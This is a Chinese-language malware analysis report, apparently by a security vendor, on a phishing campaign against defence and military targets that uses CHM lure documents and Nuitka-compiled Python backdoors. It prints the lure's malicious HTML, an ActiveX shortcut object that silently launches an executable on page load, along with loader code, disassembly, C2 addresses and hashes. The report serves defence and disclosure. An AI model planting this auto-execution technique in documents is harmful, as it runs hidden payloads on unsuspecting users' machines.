编译即免杀:Nuitka编译的Python后门正在成为APT组织的“隐形刀锋”

概述

  近期,瑞星威胁情报平台捕获并深度解析了一起针对国防军事领域的定向渗透活动。该攻击具有鲜明的地缘政治背景,诱饵内容紧密围绕巴基斯坦防务展(IDEAS 2026)北约坚定飞镖-2026军事演习两大热点事件,其目标精准指向国防工业供应链、政府外交人员及军事研究机构。

  攻击者采用了在APT活动中较为少见的Nuitka编译技术,将Python后门直接转化为原生机器码。这一手法不仅彻底规避了基于Python字节码的静态检测,还通过调用底层CPython API实现了高度的防御对抗性。关联分析显示,该组织自2026年2月起持续活跃,展现出中高级别的恶意软件开发能力。

ATT&CK技术矩阵

战术 技术 具体行为
TA0001-初始访问 T1566-网络钓鱼 通过钓鱼邮件投递恶意压缩包附件
TA0002-执行 T1204-用户执行 诱导用户打开CHM格式的恶意文档
TA0005-防御规避 T1218-利用签名的二进制程序 利用CHM文件将真正的恶意程序执行起来
TA0005-防御规避 T1027-混淆过的文件或信息 利用NuitkaPython脚本编译为机器码,绕过特征码检测
TA0011-指挥与控制 T1573-加密通道 后门与C2服务器通过443端口进行加密通信
TA0010-自动外传 T1041-通过C2通道外传 后门使用C2通道接收并传递信息

事件详情

  虽未捕获到原始钓鱼邮件且未获得压缩包解压密码,但结合攻击链分析,推测攻击者通过钓鱼邮件投递密码保护的压缩包附件(如 29_IDEAS_2026_Final.rar),并在邮件正文中提供解压密码。压缩包内应包含以下两个关键文件:

  • IDEAS_2026_Final.chm:内嵌恶意脚本的Windows帮助文档。内容伪装为发给巴基斯坦国家海洋事务研究所(NIMA)的信函,主题为第13届巴基斯坦防务展(IDEAS 2026)的议题介绍。
  • IDEAS_2026_Final.exe:可执行文件,与CHM文件同名。当用户打开CHM文档时,文档内的恶意代码会自动启动该程序。

  关联分析显示,另一组以北约军演为诱饵的武器组合(STEADFAST_DART_2026_FS.chm + .exe)创建于20263月,两批样本间隔约一个月,表明攻击者在此期间持续活跃。

诱饵文档内容

  IDEAS_2026_Final.chm:以巴基斯坦防务展为主题,内容伪装为发给巴基斯坦国家海洋事务研究所(NIMA)的信函。

image

  STEADFAST_DART_2026_FS.chm:以北约军演坚定飞镖-2026为主题,内容取材自北约媒体中心的官方新闻简报。

image

攻击流程

image

样本分析

IDEAS_2026_Final.chm分析

字段 内容
文件名 IDEAS_2026_Final.chm
文件大小 1.64 MB (1,722,549 bytes)
文件MD5 030efc94166a081c29f2adf3726b589e
病毒名 Trojan.MouseJack/HTML!1.BE26
文件类型 CHM
主要功能 启动与当前目录下同名的可执行程序

  样本以热点事件为诱饵精心构造,内嵌恶意代码,在诱骗用户执行后,在后台利用ActiveX控件执行外部程序。

<html>
    <head>
       <title>IDEAS_2026_Final</title>
    </head>
    <body>
        <table>
            <!-- 诱饵图片 -->
            <tr><td coldiv="3">     </td></tr><tr><td><img src="<内容过长,省略>" /></td></tr>
            <tr><td coldiv="3">     </td></tr><tr><td><img src="<内容过长,省略>" /></td></tr>
        </table>
    </body>
    <OBJECT id=poc classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
        <PARAM name="Command" value="ShortCut">
        <PARAM name="Item1" value=",IDEAS_2026_Final,">     <!-- 外部可执行程序 -->
    </OBJECT>
    <SCRIPT>
        //页面加载后自动触发,在后台执行外部程序
        poc.Click();
    </SCRIPT>
</html>

IDEAS_2026_Final.exe分析

字段 内容
文件名 IDEAS_2026_Final.exe
文件大小 15.4 MB (16,214,016 bytes)
文件MD5 41e7616f3ac753b327ae5d519615b512
病毒名 Backdoor.Agent/PYC!1.13CF5
文件类型 EXE
主要功能 释放并执行恶意载荷

  该样本是使用Nuitka--mode=onefile模式生成的可执行程序。该模式将Python程序运行所需的所有库文件和Python标准库压缩成一个单一的可执行文件,可不依赖系统的Python环境而单独执行。

  下图显示后门程序client_exe.dll及运行时所需的库文件均以资源形式内嵌于样本的资源段中。

image

  运行时,将资源段中的内嵌文件释放在本地。{TEMP}/onefile_{PID}_{TIME}Nuitka的默认解包路径。随后,样本使用CreateProcessW函数创建自身进程,并将释放到本地的恶意DLL动态加载到内存中执行。

    SetEnvironmentVariableW(v167, v172);
    v18 = ((__int64 (__fastcall *)(WCHAR *, const wchar_t *, __int64))sub_140001FA0)(
            &FileName,
            L"{TEMP}\\onefile_{PID}_{TIME}",    // Nuitka默认的文件释放目录
            0x1000);
    ResourceA = FindResourceA(0, (LPCSTR)27, (LPCSTR)0xA);// 查找资源段ID
    Resource = LoadResource(0, ResourceA);
    Src = LockResource(Resource);
    SizeofResource(0, ResourceA);

client_exe.dll分析

字段 内容
文件名 client_exe.dll
文件大小 6.62 MB (6,950,400 bytes)
文件MD5 10c28b28236c591c547a4eded3f79b5c
病毒名 Backdoor.Agent/PYC!1.13CF5
文件类型 DLL
主要功能 C2服务器通信,发送、接收信息

  该样本为Nuitka编译的Python后门,负责与C2服务器建立通信。与传统打包工具(如PyInstaller)不同,Nuitka并非将Python解释器和字节码打包在一起,而是将Python代码真正编译为机器码。编译后的程序在运行时的行为与CPython解释器高度一致:先是初始化LibPython运行时环境,然后加载编译后的模块(本质上是调用CPython API的函数集合),最后从入口函数开始执行,底层操作通过CPython API完成。

  跳转到__main__函数执行代码。

.text:00007FFF0216D51E                 call    rax
.text:00007FFF0216D520                 lea     rdx, aMain_1    ; "__main__"
.text:00007FFF0216D527                 mov     rax, [rax+10h]
.text:00007FFF0216D52B                 mov     rcx, [rax+3B0h]
.text:00007FFF0216D532                 call    cs:__imp_PyDict_DelItemString
.text:00007FFF0216D538                 mov     rcx, [rdi+60h]
.text:00007FFF0216D53C                 test    rcx, rcx
.text:00007FFF0216D53F                 jnz     loc_7FFF0216DB1C
.text:00007FFF0216D545
.text:00007FFF0216D545 loc_7FFF0216D545:                       ; CODE XREF: run_code+1CDC↓j
.text:00007FFF0216D545                                         ; run_code+1CE9↓j ...
.text:00007FFF0216D545                 mov     rdi, [rsp+0F8h+var_C8]
.text:00007FFF0216D54A                 mov     rcx, rdi
.text:00007FFF0216D54D                 call    main_func_7FFF02166060 ; 入口点

.text:00007FFF02166060 main_func_7FFF02166060 proc near        ; CODE XREF: run_code+16FD↓p
.text:00007FFF02166060                                         ; DATA XREF: .pdata:00007FFF021A31EC↓o
.text:00007FFF02166060                 lea     rdx, aMain_1    ; "__main__"
.text:00007FFF02166067                 jmp     sub_7FFF02163DF0 ;跳转执行__main__函数
.text:00007FFF02166067 main_func_7FFF02166060 endp

  调用底层的CPython API执行代码,例如调用函数_getframemodulename获取模块名。

image

  调用函数connect连接远程服务器的IP地址和端口号(443端口)。

image

  IP地址和其他字符串以字典形式存储于内存中。

image

  端口号443,使用SSL/TLS协议实现加密通信。

image

  由于C2服务器已失联,无法通过动态调试获取后续代码功能。不过,攻击者并未对原始Python代码中的字符串进行混淆处理,因此仍能观察到Error executing commandencrypt_datareceive_with_length等特征字符串,足以判定该样本为后门程序。

image

关联分析

  在分析过程中,通过特征关联发现了另一组武器组合:

文件对 诱饵主题 文档创建时间 C2地址
IDEAS_2026_Final.chm + exe 巴基斯坦防务展(IDEAS 2026) 2026年2月 91.132.94.156:443
STEADFAST_DART_2026_FS.chm + exe 北约“坚定飞镖-2026”军演 2026年3月 95.156.205.106:443

  两组武器使用了完全相同的攻击技术和执行流程,仅在诱饵文档内容与C2服务器地址上存在差异,表明其背后极有可能为同一攻击者或同一组织。

  由初始文档的创建时间可知,攻击者在至少两个月内持续使用相同或高度相似的技术手段,围绕不同地缘热点事件构造诱饵,部署多个武器变种。本次披露的两组样本仅代表该攻击活动的冰山一角,后续极有可能出现新的诱饵主题、C2地址或升级后的武器版本。

攻击过程可视化(EDR)

  攻击者利用工具NuitkaPython后门程序编译为本地机器码,从而成功规避了传统的静态特征码检测与内存扫描机制。在此类重编译、轻特征的攻击手法面前,基于行为检测的EDR系统显得尤为关键。瑞星EDR能够精细记录主机上的程序行为,并通过威胁可视化功能完整还原攻击链。

image

  同时,其内嵌的AI分析引擎可基于行为数据快速识别攻击活动,提供智能化的分析与应对建议,助力安全团队实现快速响应与有效防御。

image

总结

  本次披露的攻击活动展示了高度隐蔽的攻击技术。攻击者通过使用Nuitka编译的Python后门程序,绕过了传统的静态特征码检测和内存扫描机制,显著提高了攻击的隐蔽性。攻击目标集中在国防和军事领域,表明攻击者的动机可能与地缘政治因素有关。

  从攻击的持续性、目标的敏感性以及技术的高阶性来看,此次攻击极可能由具备国家背景的APT组织发起。虽然目前无法明确归属,但其复杂程度已足以引起高度警惕。为应对这种新型威胁,建议加强基于行为检测的 EDR 系统部署,提升对复杂攻击手法的响应和防御能力。

预防措施

  1. 不打开可疑文件。

    不打开未知来源的可疑文件和邮件,尤其警惕带有密码保护压缩包附件的钓鱼邮件,防止社会工程学和钓鱼攻击。

  2. 部署网络安全态势感知与EDR等行为检测产品。

    网关安全产品可利用威胁情报追溯攻击行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的。同时,EDR产品可通过进程行为、内存注入、网络连接等多维度行为规则进行检测。

  3. 安装有效的杀毒软件。

    杀毒软件可拦截恶意文档和木马病毒。如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护终端安全。

    瑞星ESM目前已可检出此次攻击事件的相关样本。

    image

  4. 通用安全建议:及时修补系统补丁和重要软件补丁。

    虽然本次攻击未使用漏洞,但及时修补系统补丁和重要软件补丁仍然是防御其他攻击的基础措施。

沦陷信标(IOC)

  • MD5

    BFBD6E0FB02C255106B73B6797792310
    030EFC94166A081C29F2ADF3726B589E
    82474098278D73833EE4B393CA04E206
    41E7616F3AC753B327AE5D519615B512
    AF0E54883BC8488C4320AB279220E5F2
    10C28B28236C591C547A4EDED3F79B5C
  • IPV4

    91.132.94.156
    95.156.205.106
  • 瑞星病毒名

    Backdoor.Agent/PYC!1.13CF5

Author

Comments

No comments yet. Why don’t you start the discussion?

Leave a Reply

Your email address will not be published. Required fields are marked *